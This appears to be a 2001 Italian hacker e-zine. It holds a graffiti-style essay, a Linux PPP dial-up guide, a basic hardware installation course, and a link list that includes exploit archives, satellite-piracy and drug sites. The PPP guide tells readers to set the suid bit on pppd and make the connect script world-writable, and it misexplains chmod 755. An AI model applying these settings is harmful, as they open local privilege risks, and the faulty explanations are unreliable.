un particolare stile è coesivo e qui vogliamo mostrare alcune tecniche ed approcci diversi.
Un esmpio dipinto. Abbiamo dimenticato di parlare del colore! Di certo il lettering puo'
essere una bomba , ma la cooordinazione del colore puo' far sì chew un pezzo...esploda! <GIADA TI AMO>
Alcuni writer sono stilisti migliori di quanto sappiamo colorare, mentre altri sono dei grandi
coloristi con uno stile mediocre e mettono insieme dei magnifici schemi di colore per camuffare la
semplicita delle loro lettere. poi ci sono i tridimensionali senza outline, i quali sono tecnicamente
forti ed hanno flow , ma molti mancano di complessita e di crudezza per essere veramente esplosivi.
Il lettering aerosol è stato porytato oltre i limiti, ma anche con l onda dei njuovi approcci, la
crudezza deve rimanere intatta. Le idee devono essere riviste per formare ulteriori idee...
bla bla bla...guardate oltrre quello che siete abituati a vedere, rischiate, non arenatevi sullo
stile sicuro di un altro, ma fatelo vostro ed andate avanti per il benificio della vostra abilita
e per la cultura. Questo pero' puo' essere un argomento che puo' portare a delle controversie,
ma a noi non importa...oggi. Era raro fissare le forme delle evoluzioni aerosol e molti stili
che sono andati e venuti e che continuano, giorno per giorno, su delle basi mondiali,
rimangono fissi sulle tradizioni; ma npon importa sia nel caso in cui tu sia mediocre o
che invece prosperi, non contenere mai le tue idee o il tuo lavoro e troverai che maggiore è lo spazio,
maggiora sara' lo spazio pittorico che avrai per l innovazione e per la pratica.
Brucia bambino, brucia. Immaginate un pezzo che copra un building delle nazioni unite, end
to end. Immaginate! se pensate così...allora avete il giusto atteggiamento. Nessun limite.
Tutto è possibile, badsta che guardiate agli anni 70...ed a cosa i 90 sono arrivati.
Esistono cose che veramente hanno bisogno di essere considerate in relazione ad una resa
funzionale dello stile. Con le tonnellate di tecniche là fuori nel mondo dell aerosol,
considerate...la linea...e controllate. Pressapoco come un pittore senza controllo non sara'
capace di avere il concetto di stile coesivamente globale. Quindi certamente avete dei
pittori con uno stile distintivo in cui la formazione e la definizione della linea vengono a
mancare per formare un pezzo del lavoro. Ragioni? Esempi? Buone idee, ma pessimo approccio.
Affrettato. Non progettato per avere una struttura fluida. FluidITà? Voi la chiamate così.
Io la tirero' in ballo per un pezzo che non è bilanciato... un pezzo che abbia spazi larghi o
buchi che creano un' inconsistenza di flow e che insinuano una mancanza di connessione nella
composizion, come ad esempio gli outline piatti. L esempio mostra delle idee dalle quali una
persona puo' essere in grado di trarre un buon stile coesivo ma qui le linnee sono consistenti e le
due forme, in quanto due forme possono relazionarsi nel caso in cui le lettere fossero loro
associate per bilanciare il buco, lo spazio altrimenti è impossibile. Questo potrebbe essere
applicabile sia che lo stile sia piatto che tridimensionale. Ecco qui, piu' o meno un esempio dello
stesso concetto in cui le barre sono maggiormente dritte, le linee sono piu' morbide,
così come le lettere ridultano maggiormente amalgamate per, quindi, creare un' unione.
Ora tecnicamente, la parte inferiore della destra "D" dovrebbe essere prevalentemente un
ornamento per bilanciarla con la parte inferiore della freccia della "E" in modo da crearne
maggiore equilibrio. Quindi questa resa lavora molto meglio esteticamente.Ci vuole molto di piu' a
formare una struttura coesiva, fluida e funzionante con stili di lettere complessi e concatenati,
piutttosto che con semplici lettere. Maggiore è la forma o l ornamento piu la composizione
risulta consistente. E' ridicolo che certi maestri di throw-up cerchino di parlare con i
maestri dello stile dicendo: non sei capace di fare un throw-up !! Un messia dello stile una volta
disse In questo spazio editoriale abbiamo gia' affermato chi9aramente che i throw-up non debbano
mancare né in stile né in qualita'. Addirittura anni addietro, in relazione a come eravate, un
throw-up non era necessariamnete un throw-up. Tecnicamente sarebbero stati l artenativa al
buttare giu' un pensiero peso , al di' fuori dello stiel, si cadrebbe nella categoria dei pezzi logo,
e non del pezzo malamente riempito con la minor resa senza stile del nome di qualcuno.
Lo stile potrente non sta nell occhio di chi guarda! Un pezzo non è bello perche piace a
chi lo ha fatto o a chi lo guarda. Non voglio sentire ste cose...in modo da non
offendere aggiungerei: per i principianti o per quelli iul cui stile è scarso,
porteremo alcuni degli esempi in cui sono raffigurati stili buoni(sezione photos www.hackersat.com)
semplici e complessi. Quello che ogni persona dovrebbe studiare è la consistenza della linea,
il lettering e la forma, il flow e la similarità. Ora potremmo spiegare il tutto molto
meglio tecnicamente e confonndervi ancora di piu' di quanto non lo siate gia', come la
maggior parte delle cose, ci dovete riflettere da soli; è una scienza...dalla A alla Z ed
oltre dipende dalla vostra condizione mentale e dal vostro atteggiamento.
Probabilmente uno dei migliori esempi per mostrare il meglio ed il peggio è far vedere alcune
foto del prima e del dopo di alcuni lavori di writers selezionati che sono
divntati maestri di uno stile in mnodo che ognuno possa vedere la differernza.
Studiate la storia e le sue evoluzioni. E' evidente che i writer, soprattutto gli innovatori,
hanno perfezionato il loro stile sia instintivamente che incosciamente. L'evoluzione è una parte
della cultura. Conoscendo la vostra storia allora tutto diventa piu' chiaro. Lostile puo'
solamente trarre beneficio e quindi elevarsi attraverso il processo dell evoluzione della creatività
e dell innovazione e le nozioni della possibilità di ampliare le lettere sono infinite;
questo se il tutto viene avvicinato nel senso di venire costruito, non neccessariamente premeditato,
ma in quanto equazione che riproduce un tipo di lavoro che deve stare in piedi, eretta o
cmq fluire in maniera eretta.E questo è qualcosa che l occhio e la mente possono scoprire.
Una volta che questa cosa viene assorbita, allora si puo' sempre avere l abilità nel capire
cosa crea o cosa rompe uno stile...siete sufficientemente confusi? Bene, voi capite che io devo
rendere l argomento interessante! Ma lo è veramente. Una volta che lo porterete oltre i confini ,
le linee e le curve... lasciate poi andare l immaginazione. Questo +è quello che fa del meglio il
MEGLIO che rimane ancora fuori dal resto. Posiibilmente per far sì che ne derivino o che ne
vengano inventati degli ulteriori elementi. NON SI COPIA. Non puoi essere un maestro sino a
quando non crei qualcosa di tuo, oppure sino a quando non insegni al maestro. Come già mensionato,
avere lo stile e lo stile in sé non dipendono dalle estremità...dipendono dall originalità,
dal suo impatto e soprattutto dal risultato...Vi incoraggiamo ad inviarci degli outline per
vedere se passate il test della comprensione della matematica che regna sullo stile all opera!!!
Beh, che dirvi anche questa volta il mio lavoroi è giunto al termine-....
ci rivediamo di nuovo sulla stessa panca, alla proxima.....ZZZZZzzzzzzzzzzzZZZZZZzzzzzzzzzzzzZZZZZ
Saluti: Giada, che mi sta facendo impazzire; avatar, syn, Lo regio, kEwL, smav, sKAM, zhen, zse
crew(flo, pelle, rogo, ecc) TankCommandos crew, Umc and many more....
06/06/2001
@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#°jrash@hackersat.com°@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#[Jrash°]
/===========================::=============================::=================/
/ /I modem interni / Jrash /
/===========================::=============================::=================/
===================================°I MODEM INTERNI°=====================================
Autore: quel frocio di Jrash
Crew: quei bastardo dell H@team
Consumi: escrementi di bue
Musika ascoltata
Facciamo una premessa: se avete un modem interno ci sono buone possibilita' che non funzioni
con linux poiche' molti di essi sono winmodem, cioe' studiati per funzionare con
l'archittettura di Windows (per informazioni sul supporto del vostro modem visitate il sito
http://www.linmodems.org).
In questo articolo esamineremo solo la connessione tramite script (nel vero sitle linux) poiche'
Kppp e Gppp sono molto simili all'accesso remoto di Windows.
Per far cio' dobbiamo editare alcuni file contenuti nella directory /etc/ppp.
Quindi eseguite il vostro editor (pico, vi, emacs, mcedit, ecc.) preferito e rimboccatevi le maniche.
Il primo file che modificheremo (o creeremo) sara' /etc/ppp/options, dove scriveremo (solo
dopo averlo svuotato) le seguenti righe:
#file /etc/ppp/options (un semplice commento)
lock # blocca il modem di modo che possa essere utilizzato solo dal processo
defaultroute
noipdefault #no ip fisso
modem #usa il modem
/dev/ttyS1 #collegato alla porta COM2
115200 #con velocita' massima di 115.200 bps
crtscts
passive
asyncmap 0
name "nomeutente" #nome utente internet.
Il modem di solito e' collegato alla porta COM2 (cioe' /dev/ttyS1), se lo invece e' sulla COM1 basta
cambiare la riga /dev/ttyS1 in /dev/ttyS0.
Il prossimo file che modificheremo sara' /etc/ppp/pap-secret:
#file /etc/ppp/pap-secret
"nomeutente" * "password" #mi raccomando il tab fra un campo e l'altro
Il prossimo file sara' /etc/ppp/pppscript:
#file /etc/pppscript
TIMEOUT 60 #butta giu' la connessione dopo 60 secondi che la linea non risponde
ABORT ERROR #ferma tutto in caso di errori
ABORT BUSY #se il modem e' in uso
ABORT "NO CARRIER"
ABORT "NO DIALTONE" #se non c'e' linea
"" "AT&FH0" #comando at primario
OK "atdt0000000" #componi il numero (immettere il numero del vostro provider)
TIMEOUT 75 #butta giu' la connessione se non puoi connetterti entro 75 secondi
CONNECT
Questo file passa i comandi al modem quindi nella settima riga al posto degli zeri mettete il numero
di telefono del vostro provider.
L'ultimo file da modificare serve ad impostare i dns del server e si chiama /etc/resolv.conf dove
dobbiamo aggiungere le seguenti righe:
#righe da aggiungere al file /etc/resolv.conf
search nomedominio #ad esempio tin.it
nameserver dnsprimario #ad esempio 212.216.172.162
nameserver dnssecondario #ad esempio 212.216.112.222
Ovviamente dobbiamo inserire i dati fornitoci dal provider (in caso di dns fornito
automaticamente dal server vai a questa pagina per i nameserver dei piu' popolari provider italiani)
Adesso dobbiamo fare in modo che tutti gli utenti e non solo root (non collegatevi mai
come root per limitare i rischi di cattivi incontri) possano collegarsi, per far cio' usaremo i comandi:
chmod 755 /usr/sbin/pppd #da i permessi di lettura, scrittura ed esecuzione per il proprietario e
solo lettura scrittura per tutti gli altri
chmod a+s /usr/sbin/pppd #abilita il bit di suid cioe' permette a tutti di eseguire il file con i
massimi permessi
Come ultima cosa dobbiamo creare lo script per la connessione, quindi create un file chiamato "internet"
(che fantasia) nella vostra home directory e inseritevi le seguenti righe:
#!/bin/sh #non e' un commento dice solo alla shell di eseguire il comando utilizzando l'interprete /bin/sh
/usr/sbin/pppd -detach connect "/usr/sbin/chat -v -f /etc/ppp/pppscript"
Date i permessi di esecuzione al file con il comando:
chmod 777 internet #permessi di lettura, scrittura ed esecuzione per tutti
accendete il modem e lanciate lo script:
./internet
Se non sorgono problemi di configurazione sarete presto in internet.
P.S. Col kernel 2.4.2 sono stato costretto ad aggiornare il demone pppd alla versione 2.4.0 grazie
a Linuxzine potrete scaricare immediatamente l'ultima versione.
Questo è tutto...sto cazzo di problema mi ha tormentato per mesi ma poi alla fine
sono riuscito a risolverlo..che sollievo....vabbe raga' ce sentiamo alla prossima...
ByEzZzZ....
Ringraziamenti: Giadina, kEwL, avatar, syn, Luciana, Gaetano, gli amici di irc e tutti
quelli che mi conoscono....
22/05/2001
===================================°jrash@hackersat.com°=================================[Jrash°]
/===========================::=============================::=================/
/ /Piccolo corso sull'hardware (parte 2 ) / syn /
/===========================::=============================::=================/
/
PICCOLO CORSO SULL'HARDWARE (PARTE 2)
Ve la ricordate la prima parte ???? Nooooooooo.... (rumore di sottofondo)
Non lamentatevi se manca qualche periferica, solo il richiamo di questo
vecchio lavoro mi fa venire la nausea...
STAMPANTE
La stampante è quel dispositivo che permette di fissare su carta
applicazioni di grafica e testo realizate con il computer.
L'indispensabilita' per la stampante per usi professionali e mnon ha stimolato i produttori
a creare diversi modelli ciascuno adatto ad esigenze specifiche ,i principali
parametri di valutazione per una stampante comprendono :la velocita' ,la qualita' di stampa,
il costo per copia e l'assistenza tecnica.
Le prime stampanti sono state quelle ad impatto ancora oggi restano insuperabili
per le multicopie , i costi di gestione e la' dove non sono richieste velocita' e
qualita' di stampa elevata.
Veloci ed economiche sono invece le laser ,con ottime qualita' di stampa ,
disponibili in formati oltre l'A4 e a colori ma a prezzi da professionisti.
Le stampanti piu' comuni sono invece quelle a getto di inchiostro , di grande
formato e a colori.Esse si acquistano a prezzi relativamente contenuti,sono abbastanza
veloci e mantengono un'ottima qualita' di stampa,possono inoltre raggiungere il
formato A0 anche il loro utilizzo è limitato a piccole tirature dato i costo delle cartucce.
Adesso proviamo a montare una stampante a getto d'inchiostro a colori in
quadricromia che supporta il formato A4 ,per l'istallazione bastera' disporre
di un cavo stampante parallelo .
Iniziare nel vedere nel dettaglio cosa il contenuto della confezione della
stampante: il manuale d'istruzioni,un set di dischi con driver e rogrami di
utilita',le cartucce dell'inchiostro,un supporto di plastica ,il cavo di alimentazione e
infine la stampante.(ma va' quella la devono mettere a forza!)
Levate tutti i nastri all'esterno e all'interno prima dell'istallazione,poi
si monta il suporto di plastica come scritto nel manuale (che consiglio di leggere).
A questo punto si collega il cavo di alimentazione alla spine nel retro della
stampante e ad una presa di rete,quindi si accende la stampante.
Aperto il coperchio vedremo le testine posizionarsi al di fuori della zona di parcheggio,
preparandosi cosi' a ricevere le cartucce ,si inizia con la carutccia nera.
Si strappa la linguetta superiore,si apre il coperchio della testina (quello piu' piccolo)
contrassegnata dal puntino nero ,la si inserisce nell'apposito vano e si richiude il
coperchio.
Identica operazione va fatta per la cartuccia a colori (piu' grande).
Per avviare il ciclo delle nuove cartucce per la stampa premere il relativo pulsante
sulla stampante,in questa operazione il led lampeggiera' quando il processo è completato,
e il led rimarra' acceso,caricheremo il vassoio della stampante con della carta.
Collegata la stampante al computer con il connettore v25 sul retro del computer alla
porta parallela avremo finito l'installazione e potremo accendere la stampante.
SCANNER
Lo scanner è quel dispositivo attraverso il quale si possono acquisire immagini e
trasferirle sul computer sottoforma di file grafici; gli scanner per uso domestico a
tecnologia scsi per scheda proprietaria o porta parallela sono disponibili fino al
formato A3, possono essere manuali (pochissimo usati), desktop oppure piani ;questi
ultimi sono i piu' comuni e completi e rappresentano la maggior parte delle istallazioni.
I parametri che concorrono nella scelta di uno scanner sono:la risoluzione, la velocita'
e la resa cromatiche.
Tali parametri sono legati generalmente tra di loro in quanto dipendono tutti
dalla qualita' meccanica ed elettronica dello scanner.
Nell'esempio istalleremo uno scanner form ato A4 con risoluzione ottica di 300 x 600
punti per pollice con interfaccia scsi (gli ultimi scanner hanno l'attacco USB).
A questo punto per collegare fisicamente lo scanner al computer è necessario istallare
prima la scheda controller scsi in dotazione, quindi scelto uno slot isa libero ,
rimuoviamo la staffa metallica, estratta la scheda dalla busta posizioniamo la scheda
sullo slot isa inserendola sempre con la stessa pressione, poi avvitiamo il tutto.
Se tutto è stato fatto bene possimo montare il case.
A questo punto si collega il cavo di alimentazione nella spina sul retro dello scanner,
poi il cavo scsi dietro lo scanner e col lato di b25 sul retro del
computer al controller appena installato facendo attensione a non confondersi con
la porta parallela, questo potrebbe causare alcuni danni.finito il tutto si puo'
accendere lo scanner.E controllare la periferica e il suo corretto funzionamento
___________________________________________________
_|_________|____||____|__|__|_________|____
alimentazione ON/OFF porta scsi
MASTERIZZATORE
Il masterizzatore è un dispositivo che ci permette di archiviare notevoli quantita' di dati.
Si trovano masterizzatori SCSI e IDE, quello scsi richiede un'omonimo controller.
Nell'esempio installeremo un masterizzatore SCSI 8x4x32x che significano
rispettivamente la velocita' di scrittura su supporti normali, la velocita'
di scrittura su supporti riscrivibili e velocita' di lettura.Il kit del
masterizzatore comprende:un manuale d'istruzioni, un set di dishi con driver e software,
una scheda controller SCSI per bus ISA, una piattina SCSI interna, le viti di fissaggio ,
un cavo audio ed infine il masterizzatore.Adesso ci tocca installare la scheda,
quindi prelevata dalla busta, inseriamola in uno slot isa con la stessa pressione di
sempre e infine fissiamo , poi si procede con l'istallazione del masterizzatore.
Trovato uno spazio libero, ad esempio sotto il lettore cdrom (piu' il masterizatore è
vicino alla scheda madre meglio è, per la circolazione del flusso),
quindi si leva la piastrina ;prima di inserire il masterizzatore si procede con
l'operazione di settaggio, per fare questo dobbiamo agire sul retro del masterizatore;
qui oltre alla presa di alimentazione,al connettore scsi e all'uscita audio
analogica troveremo una serie di pin che ci permetteranno, come indicato nel manuale,
di settare l'indirizzo scsi del masterizzatore e di attivare la terminazione per
chiudere la catena scsi.
Inserito il masterizzatore nel bay lo fisseremo al cabinet con le quattro viti
in dotazione, a questo punto no ci resta che collegare ,tramite il cavo, scsi il
masterizzatore al controller, infine collegheremo il cavo di aalimentazione che
consentira' l'inserimento in un solo verso.
Dopo tutto se avete fatto bene si puo' montare il case e collegare il tutto.
Nel sistema operativo Windows andremo a installare poi i driver.
syn
www.accaet.da.ru
/===========================::=============================::=================/
/ /Links / syn /
/===========================::=============================::=================/
http://bufferoverflow.org/ exploits
http://unsekurity.virtualave.net/ exploits
http://www.rootshell.com exploits
http://www.energyz.cjb.net/ hack
http://www.securityfocus.com/ hack exploits
http://www.totse.com/en/ various
http://www.mariuana.it/images/simboli/ images about maria
http://zsh.interniq.org/links.php links interessanti
http://www.redbooks.ibm.com/ hack
http://www.gts.dsdom.com/ porn
http://blacksun.box.sk/tutorials.html hack
http://digilander.iol.it/GeniEreditari/ Musica
http://www.piggyvideo.net/ porn
http://www.asssexy.com/index.shtml porn
http://www.pantylinks.com/panty-pics.html porn
http://space.tin.it/scuola/brdeb/Dante/prosa.htm Divina commedia di DAnte!
http://www.italiasat.com hack sat
http://www.avacastoro.isgay.com/ funny script!
http://www.kocaine.net drugs
ftp://mp3:mp3@64.30.198.33/d:/ftp/download mp3
http://guide.supereva.it/en_noir/link music
http://phrew.cjb.net/ various
http://go.to/k3n-mp3 mp3
http://www.cdflash.com/ music
http://www.tuttoscript.net/ script
http://www.adultrevenueservice.com/ istruzioni per i siti xxx
http://www.granniesnfatties.com/ porn
http://www.slutorama.com/ porn
http://www.ampland.com/ porn
http://salernodalnet.cjb.net/ meeting salerno
http://www.beamer.dk/ sat hack
http://www.irdeto-seca.net/ sat hack
http://www.bismark.it/darknet/ exploits
http://digilander.iol.it/bertiroberto vari link interessanti
http://members.nbci.com/tubehead/ musica elettronica
http://fitness.iol.it/index.asp fitness e forma
http://faqchest.dynhost.com/ linux
http://www.egosys.net/ musica
http://www.webmasters-zone.com/java/javascript.htm java
http://www.tuttopirata.com ricerca underground
http://theexorcist.warnerbros.com/ the exorcist film
http://www.tranexp.com:2000/InterTran traduzioni
http://www.fuoriluogo.it/ drugs
http://www.slipknot1.com/ slipknot official homepage
http://linuxforlesbians.org/ fun
http://www.dss-nv.com/ la visione notturna
http://www.bancalavoro.com lavoro
http://www.stepstone.it lavoro
http://www.penilesecrets.com allungamento pene!
http://www.astalavista.com astalavista group
tHe_syn
End
"SI PUò TROVARE SOLO UNA VOLTA CIò CHE CERCHI DA UNA VITA..."
Ringraziamenti e saluti (sono rimasti quelli...)
team accaet (www.accaet.da.ru)
Method man
Giada
Carminuccio
Gollo Scafuti Chip
Immacolata
Nick
Marilyn Manson
Angelocattivo
Linux
Gigi D'Ag
Agnello
Gei rasc' (Jrash)
Fons' a patan'
Il berretto di Armando
La mamma di Armando !
Norma
Pinturicchio
Salernitana
Rutelli
pagnotta
Blinky
NCKxxx
Sara